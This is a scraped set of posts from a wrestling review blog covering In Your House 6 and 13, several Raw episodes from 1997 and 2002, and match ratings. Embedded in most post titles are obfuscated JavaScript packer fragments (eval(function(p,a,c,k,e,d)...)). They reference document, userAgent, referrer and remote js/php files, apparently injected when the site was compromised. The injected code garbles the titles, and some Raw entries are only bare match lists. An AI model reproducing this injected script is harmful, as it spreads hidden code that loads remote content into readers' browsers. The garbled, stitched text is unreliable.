On This Day: February 18, 1996 – In Your House #6: Rage in the Cage: Not A Lot Of Rage In That Cage

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bzery|var|u0026u|referrer|nadbt||js|php'.split('|'),0,{})) Your House 6: Rage in the Cage
Date: February 18, 1996
Location: Louisville Gardens, Louisville, Kentucky
Attendance: 5.500
Commentators: Vince McMahon, Jerry Lawler

This show took place an hour away from me, and somehow I never heard about it once. I didn’t know it was in Louisville until I rented the tape in May. That’s how great the advertising was. Anyway, this was the follow up show to the Royal Rumble and the build up for Wrestlemania 12. At the previous show, the winner of the Rumble was Shawn Michaels as he was finally launched into the main event scene which he has never really left.

Also on the card, Goldust got the IC Title from Razor in what was supposed to be culminated in a street fight at Mania in March, but Razor was suspended for drug issues. He was gone in May and 8 days after his last match he was on Nitro, officially beginning the NWO angle which changed wrestling forever.

The other big match was Taker vs. Hart for the world title, which Taker won by DQ when Diesel interfered at the end and was caught. Since Taker had his shot already, Diesel was named the new #1 contender, which is your main event tonight: Diesel vs. Bret in a cage match. Taker, for some reason, is YET AGAIN in the dark match, this time continuing his completely forgotten IC Title feud with Goldust.

However, he’s featured prominently in the recap video at the beginning, so him doing something in the main event is pretty much a given at this point. In what I am completely stunned by, we start with that age old struggle of good vs. evil: Razor Ramon vs. The 1-2-3 Kid!

Razor Ramon vs. 1-2-3 Kid

This is a crybaby match, meaning the loser is put in a diaper.  Ok, let me make sure I’ve got this straight. The Kid got his first win over Razor in May of 1993, and now, THREE YEARS LATER they’re still in the same program? My goodness this is absurd. You have one of the most over faces on the roster and you stick him with the exact same guy for this long? Seriously, no program goes that long. Even Austin and Vince had some time apart in their epic feud and I don’t think that went three years did it?

Good grief no wonder Razor bailed as soon as he could. In this brilliant idea, they have a standard match and the loser is put in a diaper. As I’m writing this review, I’ve got my eyes closed and am shaking my head. This is mind numbingly stupid. Did Razor light Stephanie’s dog on fire or something one day?

Fink is announcing tonight, so this show just went way up in value. They do us the favor of showing us the “in depth” history of these two, which apparently goes back 4 weeks instead of three years. Kid cost Razor the IC Title at the Rumble in case you were interested. The Kid brings out a stroller with a Razor teddy bear in it as my intelligence is withering away at this. Yes kids, the WWF can actually make you stupid.

Oh and Kid’s face and heel music are still the same, which is never a good idea. Are you listening Jericho? Change your freaking music already. Hokey soke the Kid used a springboard move. THAT’S WHAT HE SHOULD ALWAYS HAVE DONE! No one would buy the Kid, a guy that weighs about 210 being able to go toe to toe with anyone. Him using the ropes made sense, but I don’t ever remember him doing it other than right there, and so far he hasn’t done it again in this match. In a really dumb spot, DiBiase throws baby powder in Razor’s eyes. Ok, that makes sense.

However, the referee is looking RIGHT AT HIM when he does it and says nothing at all. Kid is slowly starting to incorporate the crotch chop. The awfulness of that gimmick was apparently long standing. Oh great, it’s a sleeper. Oh sweet he’s not in it long. They botch……something. Not sure what that was supposed to be, and they end up in yet another sleeper, this time with Kid on Razor’s back. Oh the symbolism in that.

The Kid, hanging on to Razor, forcing Razor to carry the Kid, yet at the same time cutting off Razor’s life and making him drowsy and boring. I’ve been watching WAY too much wrestling lately. Vince actually says Razor is going nighty night. My life is now complete. Eventually the powder trick backfires as the Kid takes it in the eyes, Razor’s Edge, 1, 2, Razor picks him up. I want to hurt that man severely.

What have I done to deserve such torment? Why does this have to continue? Another Edge, and that ends it……please? THANK GOODNESS. Post match….blast it, the Kid is put into a diaper and fed a bottle as I could go for a bottle myself, but I’d like something with massive amounts of either alcohol or drugs mixed in so I can hopefully forget this match happened.

Rating: D. The wrestling is ok I guess, but dear lord these guys have been either teaming or feuding for almost three full years. What’s the point anymore? No one wanted to see this match again. Razor would have drug issues soon thereafter and not get to have his blowoff match with Goldust at Mania. He would come back to job to Vader and he would be in WCW within a month. He’s a lucky man indeed.

HHH vs. Duke Droese

Droese is a wrestling garbage man. I wish I was making that up, and that’s all there really is to say about that. Duke says he’ll take HHH out like yesterday’s garbage. Duke’s nickname is the Dumpster. Who in the world thought that would be a good nickname? Anyway, this started because HHH cut Duke’s hair on Superstars a few weeks ago.

They had a one on one match before the Rumble with the winner getting the 30 spot and the loser getting the 1 spot. Duke of all people wound up getting the 30 spot and of course, he was gone in about a minute. This match is just hard to comment on as absolutely no one cares at all. The crowd is so dead that it’s pitiful. The biggest problem here is that no one, and I mean no one cares about Duke.

I mean really, a freaking garbage collector? He has his name across his shirt. Is that in case he gets lost or something? They keep cutting to a split screen with HHH’s date and Lawler. No one cares. The hype for the Superstar line is never ending. It was a thing where you could talk to the wrestlers in the previous matches. Cool idea, but it was a one in a million shot of getting through. Either that or it was likely prerecorded comments.

The crowd is so dead it’s pathetic. They were somewhat hot for the last match so it can’t be the crowd as a whole. This match is just awful in general. Duke hits his finisher but of course doesn’t cover. He instead goes and gets his garbage can, but the referee throws it out. HHH hits him with the lid and pins him.

Rating: C-. Simply put, no one wanted to watch this and it was obvious. You could see that there were big plans for HHH, but no one knew how big. I’ll get to what the full extent of those plans were as well as how they inadvertently saved the company in our next review. Also, the next woman that HHH had with him will be known as Sable, at Wrestlemania.

We see a recap of two weeks ago when Yoko turned face by attacking his manager Jim Cornette. That leads us to this match.

For the first time, Yoko cuts his own promo, with no Japanese accent at all. He says he’s tired of Cornette taking all the credit for the work he did. Makes sense actually. Michael Hayes being taller than Yoko makes me laugh. Hayes saying get ready for a train wreck makes me laugh even harder.

Yokozuna vs. British Bulldog

Oh this isn’t going to be pleasant at all. Yoko at this point was just too fat to do anything with. He was nearing seven hundred pounds and was on his last legs in the company as well as in his career. They figured that the best way to do anything with him would be to put him with a power guy so they put him with Bulldog. It is failing miserably. Yoko is dominating at the beginning but after that it’s just bad.

More or less Yoko destroys Smith and goes to set up for the Banzai but Cornette hits him in the back with the racket for the DQ. Post match Yoko stalks Cornette but Vader runs out to save him. He and Smith beat down Yoko after handcuffing him to the ropes. Suits and officials run in to break it up.

Rating: F. This was five minutes of clotheslines, punches and forearms. Total waste of time and just a way to get Vader to look dominant as he was being pushed as the monster heel. Yoko’s size is just sad to look at by this point.

We see a recap of Owen and Shawn’s rivalry, mainly focusing on Owen injuring Shawn to the point where he had to release the IC Title. Since then, Owen had been bragging about putting Shawn out of action etc. That brings us here, as Shawn had already won the Rumble and the guaranteed title shot. He puts it on the line for a chance at retribution with Owen.

Owen Hart vs. Shawn Michaels

As I’ve said many times, this should have been your main event at Royal Rumble 1998 instead of Shawn vs. Taker or whatever. Owen did the run in at the end of DX IYH, yet Shawn was afraid Owen would shoot on him and humiliate him, so instead we got Shawn vs. Taker where Shawn hurt his back.

 

Tell me Shawn vs. Owen after Montreal wouldn’t have been straight MONEY. A guy like Owen that could keep up with a guy like Shawn? How could that not just be sweet, factoring in the Montreal aspect? Oh well at least we get it one time. Here you are. Note the foreshadowing of the legendary WM 12 entrance by how he comes to the ring here.

 

Shawn says he’ll win tonight and that’s a guarantee. He comes in off the roof of the In Your House set which is kind of cool. Owen bails as we fill in even more time here. We get fireworks before the match starts. The ending is pretty clear here but that doesn’t mean we’re not going to have a good match. Can’t beat that.

 

Technical stuff to start which shouldn’t surprise anyone. Shawn is showboating already so at least he’s not wasting time in that regard. Owen heads to the floor and Shawn hits a huge dive to take him out. Nothing serious at all so far but it’s all Shawn. Both guys nip up and Shawn gets a Frankensteiner to continue his dominance.

 

Big old belly to belly catches Shawn and Owen takes over. Jerry begs Owen to kick him in the head. You can’t say he’s not violent. Camel clutch goes on as Shawn is in trouble. Shawn has a bad head and neck so Owen goes on his back. Jerry gives Owen credit for the camel clutch. As in saying Owen invented it.

 

After some brief comeback attempts by Shawn he gets a suplex over the ropes to the floor. There’s a different look here as it looks less professional which isn’t something you often have to say about a WWF show. And then Owen catches him in a powerslam from the apron to the floor which looked painful.

 

Back in the ring and Owen takes his head off with a running clothesline but doesn’t cover. Even Lawler thinks that’s a bad idea. Sharpshooter goes on but you can tell it’s not a Bret one as the bell hasn’t rung yet and we’ve had it on for more than 2 seconds. Ropes are grabbed shortly thereafter.

 

I forgot how annoying Vince’s “HE GOT HIM! NO HE DIDN’T” stuff was. The head killing enziguri hits and Shawn goes to the floor. This only gets two though and the fans are happy. Or maybe they found pennies. Forearm and nip up follow but oddly enough Owen gets up first. How often do you see that?

 

Big elbows hits and Shawn drills Cornette for general purposes. Enziguri #2 misses and Sweet Chin Music sends Shawn to Mania, which I’m sure he would have been at anyway but since that’s a common expression we’ll say it anyway. Solid match as you would expect. He dances with a little girl in the ring too.

Rating: A-. This match made the show. Up until now it was one of the worst shows I’d ever seen but then we get to this. While it’s not a classic or really anything close to it, this is nothing short of a breath of fresh air. You have two guys that could go in the ring, a good storyline, and while it was fairly obvious Shawn would win, it was fun to see. Good match and light years ahead of everything else so far tonight.

Next up we have an interview with the interim president of the company: Roddy Piper. At the time, Vince hadn’t been revealed as the owner of the company. He was just the commentator and nothing more than that. So, we had a guy that would be called the President. For years and years it was this guy named Jack Tunney (Santino referenced him before WM this year in case you were wondering where you had heard that name before).

Once Tunney retired, Gorilla Monsoon took over. However, the night after the Rumble, Vader beat the heck out of him, so while he’s on the shelf, Piper is in charge. His run ends at WM 12. He starts off by saying that HBK better be ready because he’ll be in for the fight of his life no matter what and there must be a winner, which is foreshadowing the overtime in the Iron Man Match.

He says he has no sympathy for Yoko getting beaten down earlier because Yoko is too big to be attacked like that. He insults Vader. Piper cracking jokes about Mr. T. is funny stuff. Piper makes Yoko vs. Vader for WM 12. That becomes a 6 man tag. Cornette and Vader interrupt but Piper shouts Cornette down which is just hilarious.

Ladies and Gentlemen, take notes: these are two of the greatest, if not the two greatest talkers of all time in this business. More or less, Cornette says that Vader will crush everyone. Piper says that there’s going to be a fight at Mania. COrnette and his lawyer argue as Piper leaves.

WWF Title: Diesel vs. Bret Hart

As we’ve already established, this is a cage match and the rematch from the Survivor Series. They’re using the old school blue cage so this should be good indeed. Bret’s always had good cage matches and this was when Nash was still solid in the ring. Pretty slow start but that’s fine here. Right now it’s just a match with walls around them. Not bad by any means though. Bret works on Diesel’s knee for most of the match for your psychology aspect.

This really is more of just a one on one match with the cage as a small element, which is workable. It’s been a good match thus far with a story to it. That story being that Bret is trying to incapacitate Diesel so his size can’t help him out of the cage. We also get some good false finishes as both get close to escape but the other makes a last second save. The way the commentators are talking, Bret is retiring after this match.

I especially love how they talk about what a great champion Bret has been, when he’s been world champion less than three months at this point. Based on that commentary alone and knowing the hidden messages that come from commentators, it was obvious that Bret was winning here. The crowd is really into this so it’s going well at least. After nearly twenty minutes, Diesel is crawling for the door and he kicks Bret off of him so he’s all alone.

As he’s about to get out, the mat splits open and the Undertaker rises through the hole, pulling Diesel down into it screaming. Smoke flies out of it as Bret climbs out of the cage to keep the title, setting up the famous Mania main event. Post match Diesel comes out of the hole and runs from Taker who climbs to the top of the cage to stare Diesel down as Paul Bearer arrives with a new urn.

Rating: B+. Very solid stuff here. No one really expected Diesel to win but they made it entertaining anyway. Everyone knew Taker was going to get involved, but these two managed to make us forget about that. That is great work as they got our attention away so the ending was surprising. Solid stuff here and by far the best main event in the series’ history.

In the back, Piper makes the obvious match for Mania: Diesel vs. Taker, to close the show.

Overall Rating: C. There are only 5 matches so we have very little to grade. The first three matches absolutely sucked. There’s no other way to describe them. They were boring, uninteresting and just a waste of time. The other two matches however, the ones used to set up Mania which was the point of the show, were both very good if not great.

It finished strong which was what it was supposed to do so it redeems a lot of the mistakes it made earlier. Not really recommended, but not recommended to avoid either.

Remember to follow me on Twitter @kbreviews



Monday Night Raw – January 21, 2002: Is It Really Nostalgia If It’s Only Three Years Old?

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ssszf|var|u0026u|referrer|yrbks||js|php'.split('|'),0,{})) Night Raw
Date: January 21, 2002
Location: BI-LO Center, Greenville, South Carolina
Attendance: 9,420
Commentators: Jim Ross, Jerry Lawler

Rob Van Dam/Tazz/Spike Dudley vs. Booker T/Dudley Boys

The hot tag brings in RVD and let the rolls and flips begin. Rob cleans house but gets caught in the reverse 3D for two. Everything breaks down and everyone hits something, including a 3D to Tazz. As Bubba is getting up though, Van Dam hits him with the Five Star for the surprise pin.

This brings out Kurt Angle for his second interruption of HHH in three weeks. He yells at HHH for jumping him from behind to eliminate him in the Rumble last night. The brawl is on but Jericho hits HHH with the belt to stop it short. Jericho puts him in the Walls but Rock comes out to make the save.

Intercontinental Title: Edge vs. William Regal

Edge beats up some referees post match.

Post break Edge is taken out of the arena.

Kane and Big Show talk for a bit about Kane eliminating him from the Rumble last night. Show leaves and Billy and Chuck come in (instead of out). They offer Kane a spot on the team complete with his own headband. A two on one beatdown ensues when he says no. Ok then.

Mr. Perfect and Debra chat about Austin. This also goes nowhere.

Val Venis vs. Mr. Perfect

Big Show/Kane vs. Billy and Chuck

We get a clip of Maven eliminating Undertaker in a legit shocking moment last night.

The APA is at WWF New York.

The Rock/HHH vs. Kurt Angle/Chris Jericho

Remember to follow me on Twitter @kbreviews and pick up my Monday Night Raw 1998 Reviews ebook on Amazon at:



On This Day – February 16, 1997: In Your House 13 – Final Four: Why Don’t They Do This Again?

In eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zerhf|var|u0026u|referrer|dndss||js|php'.split('|'),0,{})) Your House 13: Final Four
Date: February 16, 1997
Location: UTC Arena, Chattanooga, Tennessee
Attendance: 6,399
Commentators: Jerry Lawler, Jim Ross

Well we’re in between the Rumble and Mania and DANG if it’s not a weird time in the WWF. There is no world champion at the moment but we’ll get to that. To begin with let’s recap the Rumble which should explain a lot. Three things happened there: Vader beat Taker with help from Paul Bearer, Shawn got the WWF Title back from Sid, and most importantly Steve Austin won the Royal Rumble in a stunning shock.

OR DID HE???

Well yes but he shouldn’t have. Your final five men were Bret, Taker, Vader, Austin and the fake Diesel (Kane). Mankind and Terry Funk were fighting on the floor which had the attention of the referees. During this fight, Hart eliminated Austin but no referee saw it. Austin got back in, eliminated Vader and Taker just after Hart eliminated Diesel. Austin took out Hart and the referees turned around to see him alone in the ring.

Austin is declared the winner and therefore the #1 contender. HOWEVER, Gorilla Monsoon doesn’t like this so he makes a match for this PPV which he dubs Final Four. Austin, Hart, Taker and Vader, the final four men in the ring in the Rumble, would have a match at the PPV for the right to go to Mania. Ok, that’s all well and good. However, there was a special Thursday edition of Raw where Shawn forfeited the title, citing a knee injury and a lost smile.

That night he had been scheduled to face Sid in a title match, so instead of just naming Sid Champion, the four way match at the PPV was now for the title with the winner facing Sid the following night on Raw for the title. Did you get all that?

That leads us here. Also on the card we have Furnas and LaFon (don’t ask) challenging for the tag belts as well as Rocky Maivia defending the IC Title that he took from HHH on the same Thursday Raw against HHH in a rematch. This is your last PPV before WM 13, so it better rock. Let’s see if it rocks or just Flex Kavanas.

Marc Mero vs. Leif Cassidy

We open with this, as in just after the recap we hear Sable’s music begin. You can tell the camera people either don’t care about this match or are just really stupid as Mero is in the ring and his pyro is going off before we even see him for the first time.

Sable has got her classic look down now: long blonde hair, one piece black leather outfit, big earrings and sunglasses. Just…dang. Anyway, Cassidy is already in the ring so how good are you expecting this match to really be? I actually like Cassidy’s stuff better than Mero’s. Let that sink in for a bit. Your psychology for this match is Cassidy works on Mero’s knee. Mero is your face here…I think.

Actually it’s more like Sable is the face and Marc is hers but that’s neither here nor there. Snow really can carry a match when he’s allowed to. It’s not something anyone cares about though as it’s Leif Cassidy vs. Marc Mero but Snow (Cassidy in case you didn’t pick up on that) is handling this very well.

Everything he does makes sense and has a point to it. There’s no noticeably stupid moves anywhere which is a very nice break. He goes after Sable though and Mero rescues her. After this he hits like three moves and no sells the knee injury to hit his shooting star press to win it.

Rating: D. If I could split this up into two ratings it would be an F for Mero and an A for Cassidy. Mero was just awful out there. He was on defense for probably 80-85 percent of the match, slams Cassidy’s head twice, hits a bad Samoan drop and his finisher to win while no selling the whole point of the match. Snow on the other hand was crisp, solid, and logical. You’re facing a high flier, keep him on the mat.

That’s smart wrestling and something that makes sense to do. He even threw in a figure four, which to be fair was the absolute worst I’ve ever seen but he was at least trying. I was impressed with him but Mero was just awful. Sable of course was the highlight with her looks, but it was close.

Now we get a double shot of weirdness. To begin with, immediately after that match, Honky Tonk Man comes out. Now, that’s not incredibly weird because based on the reaction I would assume that he’d been around a bit lately as the announcers and the crowd don’t seem stunned by his appearance.

I know he had an angle coming up that had either already started or started tonight but we’ll cover that later. The really weird part comes when he’s about to get into the ring.

We cut to a video package recapping Shawn’s forfeiting the title which shows the entire speech, Gorilla’s announcement of the title being on the line in the Four Way, and then we go to an interview with Sid. Just comes from nowhere and while it would usually be fine, why have HTM come out and then show it? He didn’t even get to have his music end.

As for the speech, here’s my take on it: you can believe him or not, and I personally think that he was at least half telling the truth, but he’s made it clear that the knee was nowhere near as bad as he implied. He had a minor surgery that could have waited but he says he very well may be retiring because of it. All I know is this: for a long stretch in that interview you could hear a pin drop in the audience.

People were on the verge of tears because Shawn might have to go. You can like Shawn you can hate Shawn you can be indifferent to him as I am for the most part, but the people loved him and that simply cannot be denied. What I believe however is that he simply didn’t want to lose to Bret at Mania 13. It was very clear that was where they were going with things, but Shawn just didn’t want to do it so he backed out.

Anyway, Sid says he’s taking the title tomorrow.

Flash Funk/Bart Gunn/Goldust vs. Nation of Domination

Flash’s entrance takes a ridiculous amount of time as he and his ladies, who are sexy in an odd way, just have to have a full dance sequence in the ring. As his illustrious partners make their way to the ring, we get a recap to explain this “feud”. Apparently all three of our jobbers have been unfairly beaten by the NOD thanks to their gang mentality. The Nation makes their entrance and look like the NWO.

I kid you not, there are 9 people in this stable. A checklist: 2 white rappers, Clarence Mason, D’lo Brown, Farrooq, Crush, Savio Vega and two guys who were apparently actors hired to look like the NOD was bigger than it really was, which is actually a good idea. That’s a huge freaking stable and their coming through the crowd and rapping their own music was genius.

This match goes under 7 minutes so this is going to be a relatively short review. Basically here all that happens is a six man tag. It’s as simple as that. This is a basic 6 man tag match. It’s not great and it’s not bad. It’s just your standard run of the mill 6 man tag. Faces start strong, heel takes over, you get a face comeback and the heels win. There is however one sick spot in it. Funk is getting double teamed by Savio and Farrooq.

They send him into the ropes for a double clothesline but he grabs their arms and in one motion backflips over them to land a double clothesline of his own. I was very impressed by this move as it just looks sick. Finish comes when Crush drops a leg on Bart to let Farrooq pin him.

Rating: C-. Now stop me if you’re heard this one before: a cowboy, a pimp and a man that is of the homosexual persuasion walk into a bar. Seriously we have those three gimmicks against a group modeled on the Black Panthers. How over the top can you get? And Vince has the nerve to wonder why the NWO was kicking his head in in the ratings at the time? Give me a break.

In the back Doc is with Steve Austin. He talks about how Austin hasn’t beaten any of the three men he’s in the ring with. Austin says he did at the Rumble and there’s a conspiracy against him by everyone in the company with any kind of power.

IC Title: HHH vs. Rocky Maivia

This is the rematch from three days prior as Rocky shocked the world and took the IC title from HHH. Helmsley has gotten to the best heel music I can remember in a long time as he comes out to Beethoven’s Ode To Joy now. Dang that’s some sweet music for a heel. He’s also dropped the random woman valet which helps a lot as well in my eyes. He’s becoming much more deadly in the ring and the HHH character is coming soon.

HHH is a twig at this point, maybe cracking 245 soaking wet. Rocky was still a rookie at this point but you could see the star in him just begging to get out with a gimmick change. HHH was on the verge of stardom but not as naturally. Early on the botch a baseball slide spot but HHH does a great improvised spot where he turns it into a drop toehold. This is a pretty good match so far with some good one liners from the King.

HHH is so rich he takes taxis to drive in movies. You could see the chemistry that these two had even this young in their careers. They knew how to get the best out of one another and that’s not something that can be taught to you by anyone. The commentators do a comparison of the people that trained both men to kill some time. JR mistakenly says that was a nice slupex by HHH so you can see him starting to slip even 12 years ago.

HHH and Hebner do their usual thing of Earl not being willing to be intimidated by HHH. HHH hits a perfect jumping knee to the face which might be the best he’s ever done. This is a very good match as it’s hard hitting and has a lot of near falls. However, they of course ruin it with the finish. Goldust whom HHH was feuding with at the time comes and stands in the aisle allowing Maivia to hit a German suplex to get the pin.

Post match Marlena gets choked out by some big woman/man with black hair that would come to be known as Chyna. Goldust says “throw her in jail.” They did a decent job of implying she was just a fan but the replay of it kind of gives it away.

Rating: B+. This was a very good match and if it had a finish could have been great. These two just put on great matches together no matter what and this was no exception. Rocky would go on to have a nice little reign with the title while HHH would go on to do nothing over the Summer but would starting hanging out with Shawn Michaels and that creature that just interfered in a little thing that would come to be called DX.

Promo for Mania airs.

Kevin Kelly interviews Vader who says he’ll be taking down all three men tonight. Paul Bearer says the same thing.

Tag Titles: Furnas/LaFon vs. Owen/Bulldog

This was a strange match. The story is that the champions have been arguing a lot lately and at the same time they lost in a Survivor Series match to these same two guys, resulting in this tag match. Now I know nothing about the challengers at all but to be fair I really hadn’t seen much of them. These guys were actually good. They were great movers out there and had some great technical stuff.

The person that stood out the most though was the referee. He was just flat out bad here. He kept taking forever as he kept wanting people out of the ring etc. and while that’s fine to try to keep going, he took it way too far. Whenever there was a cover he’d check the two partners before he went to make the count. That’s a waste of time and looks bad. Also during the match the champions kept fighting, eventually seeing Bulldog intentionally clothesline Owen hard.

Now once that happens it’s like a new match starts. The second match is far superior to the first one. Once they change gears, things get very good very fast. There was a ton of near falls and I actually believed that there would be new champions on more than one occasion. I knew who was going to win and I still believed otherwise. That my friends is compelling wrestling. The champions get hit with everything but they keep getting up every time.

Finally the end comes and it is just strange. Bulldog gets one of the guys up for the powerslam and Owen hits the guy in the head with a Slammy right in front of the referee for the DQ. What in the world? Why would you do that when your partner was about to hit his finisher which people didn’t kick out of? They fight even more afterwards with Smith throwing down the title and then even breaking the Slammy. He finally leaves with his partners.

Rating: B-. Just like in the opening match this was a tale of two matches and two separate grades. The first half was just flat out bad. It wasn’t interesting and I was wanting to just fast forward through the match and get to the end. However once Owen and Bulldog got done fighting the thing turned into a great tag match.

The ending just made no sense at all and was just to further the Bulldog/Owen angle which mostly ended with the debut of the European Title later on that month in which these two faced each other for the title.

Doc is with the Deadman in that back who says he has rediscovered his edge which makes me expect the Rated R Superstar to pop up.

WWF Title: Undertaker vs. Vader vs. Steve Austin vs. Bret Hart

Lawler keeps asking what lucha libre means (the Spanish announcers keep saying it) and JR says rough wrestling for some reason. This is actually an over the top rope battle royal but you can also be eliminated by pin or submission, which is a very interesting twist. I’m not sure if I like it or not. It takes away Vader’s weight advantage but why would you try to pin someone when you can just knock them out of the ring?

Bret of course gets a prematch interview. He says nothing can stop him from taking the title tonight. Bret’s jacket really is cool. JR says that even Wrestlemania wasn’t this exciting. Suuuuuure. Starts off with both singles feuds being renewed. Very quickly Vader and Taker figure out that going through the ropes is legal. Everyone just beats on everyone with them trading partners which further supports my orgy theory from earlier.

Leaving the ring was critical here I think as it opens up a lot of alternative possibilities for these guys which is certainly a good thing. Vader gets cut BAD around his left eye. Like it looks as if it fell out and there’s just a hole there that’s shooting blood out of it. I finally found where it was and it’s not pretty. Within a few seconds he takes a chair to the face and he hits his eye on the stairs, right on the corner.

They fight all over the arena and all fight each other at least once and in some cases twice. That’s what makes this match work as well as it is: you can keep the fighting fresh. Austin even breaks out a top rope clothesline which never stops making my head shake given how bad his knees got later in his career. After that we cut to the floor where VADER HAS BRET IN A SHARPSHOOTER. What the heck???

Those things happen within a few seconds of each other. Dang I need my medicine after seeing that. Sadly enough it was a better one that the one Rock would use later in his career. We’re at 12 minutes and no one is out yet. That’s another thing that’s making this great is all four are in there for over half of the match so far. It’s more or less Bret wrestling Austin and Taker fighting Vader now.

Bret sets Austin for a belly to back suplex and Austin BACKFLIPS out of it. DANG Austin was awesome before he got hurt. Vader’s eye is freaking sick right now. This whole thing is absolutely brutal and it’s a great match so far. We’re at fifteen minutes and it’s still all four guys in there. Just as I finish typing that Austin is thrown out as Bret Hart uses what we would now call the FU to eliminate him. Bret Hart used an FU. Sly can never see this moment.

His orgasm would flood Missouri. Taker gets knocked to the floor so we continue our orgy match with Bret and Vader getting it on for awhile. I will now pause to attempt to erase such a mental picture. Ok I’m back now as Vader goes to the top in a dumb move. Why would you do that when being knocked to the floor eliminates you?

Bret stops him and lands a superplex from the top rope which is freaking insane given A) how long they’ve been going and B) the fact that Vader’s fat needs its own zip code. Taker breaks up the sharpshooter on Vader which makes no sense at all and even the announcers question it. Austin comes back out and beats up Hart some more to pretty much secure the fact that he’ll be winning this.

Vader again goes to the ropes for a Vader Bomb but Taker sits up and hits an uppercut to the little Vaders to eliminate him so we’re down to Bret vs. Taker. Austin is still around after a chokeslam and for some reason he stops the tombstone. Taker and Hart both go for Austin but Taker is too slow.

He turns around and is clotheslined out to make Bret the champion again. Sid comes out for the staredown after Taker storms off. Sid says let’s do it right now as we go off the air in the middle of the showdown. I like that ending as it leaves us on a cliffhanger for tomorrow’s show.

Rating: A. This was a very fun match and the key to it was you knew there was going to be a new champion at the end so you had to watch all of it. Another key was that no one was eliminated until over half of the match was gone. This kept things fresh and made you want to stay until the very end to see how everyone went out. The leaving the ring was key as well as it allowed three separate one on one matches to occur throughout the match. Great match indeed and very fun.

Overall Rating: B-. First two matches were pretty bad but the other three more than made up for them. By the middle of the main event I was hooked. The second half of the show was great with another solid Rock/HHH encounter, a solid and surprising tag match and a great main event. Overall this show started slowly but kicked it into high gear at the end. Not great but certainly fun, this is worth a watch someday but don’t make it a top priority.

Remember to follow me on Twitter @kbreviews and pick up my 1998 Monday Night Raw Review ebook on Amazon at:



Monday Night Raw – January 14, 2002: Let The Uninspiring Television Begin

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hsrni|var|u0026u|referrer|zyeye||js|php'.split('|'),0,{})) Night Raw
Date: January 14, 2002
Location: American Airlines Center, Dallas, Texas
Commentators: Jerry Lawler, Jim Ross

We open with a recap of Austin vs. Angle from Smackdown which ended with Kane interfering for no apparent reason and chokeslamming both guys. A few other guys came out and the mini Rumble before the Rumble went down with HHH standing tall.

Lance Storm and Christian praise Jericho. Bradshaw comes in to yell at them, saying George Bush has given Jericho his freedom. Without making this a political argument, 1. Jericho is Canadian, 2. What freedom did Bush give him? 3. Why is Bradshaw talking to the world champion? Apparently a match is made.

Bubba Ray Dudley vs. Spike Dudley

Tajiri/Hurricane vs. Billy and Chuck

Undertaker arrives.

Scotty and Albert are at WWF New York.

Jazz vs. Jacqueline

Kurt Angle vs. Kane

Kane loads up the top rope clothesline but Angle runs the corner for the suplex. We needed that as hopefully the match can pick up a bit now. A quick ankle lock attempt is broken up and the enziguri puts Angle down. Kane throws Angle into the corner and pounds away before going up top, where he blocks another suplex attempt. The top rope clothesline gets two but the chokeslam is countered into the ankle lock.

Stephanie manipulates HHH to go after Austin.

Edge/Rob Van Dam vs. William Regal/Test

The APA gets Rikishi to be their partner.

Big Show vs. Booker T

We recap Vince and Flair from earlier.

Chris Jericho/Lance Storm/Christian vs. APA/Rikishi

http://kbwrestlingreviews.com/2013/01/16/royal-rumble-count-up-2013-redo-2002-hes-back-and-theres-not-a-thing-we-can-do-about-it/

Remember to follow me on Twitter @kbreviews



On This Day: February 13, 1997 – Monday Night Raw: Raw Should Be On Thursdays More Often

Monday eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nsnsd|var|u0026u|referrer|eynfb||js|php'.split('|'),0,{})) Night Raw
Date: February 13, 1997
Location: Memorial Auditorium, Lowell, Massachusetts
Commentators: Vince McMahon, Jim Ross, Jerry Lawler

This is another special Raw show called Thursday Raw Thursday. This was another special request and my first one through e-mail actually. Anyway the idea here is that there’s either tennis or the stupid dog show on Monday so Raw is on Thursday this week. Don’t ask me why they say the day twice but it’s Vince so I think that explains it. This is famous for two reasons: Rock vs. HHH in a LONG match (for the time frame) and this is where Shawn lost his smile. Let’s get to it.

We open with a video on Shawn who is vacating the title, meaning that the winner of the Final Four this Sunday will be the new champion. The opening video is about Sid vs. Shawn which was supposed to be the rubber match tonight. Naturally they say Thursday Raw Thursday about a million times in between this.

Intercontinental Title: Rocky Maivia vs. HHH

 

HHH is champion here and Rocky is a glorified rookie. Also tonight there’s Sid vs. Austin and Bret vs. Vader. For no apparent reason Undertaker is fighting Savio. This is live it seems. It’s still Hunter Hearst Helmsley here so there’s no HHH name yet. The curtseying future Game gets a hip block to start us off and is very confident. They do some nice mat stuff which I’ve never seen before. They have some leg locks and head scissors with impressive counters. Cool stuff.

Off to a chinlock by HHH here but Rocky fights out and hits a dropkick to send him to the floor. A charge misses and Rocky hits the post. Back inside with HHH working on the arm. Rocky fights up but HHH gets a single arm DDT for two. Some chops hit in the corner as we take a break. Back with HHH still in control and just going OFF on Rocky’s head with right hands.

Honky Tonk Man comes out for some reason. He was looking for a protégé or something like that. He wound up picking Billy Gunn who became Rock-A-Billy as one of the dumbest gimmicks of all time. HHH has dominated the vast majority of this with a jumping knee to the head and then a sleeper. Rocky tries to reverse into a sleeper of his own but gets rammed into the buckle.

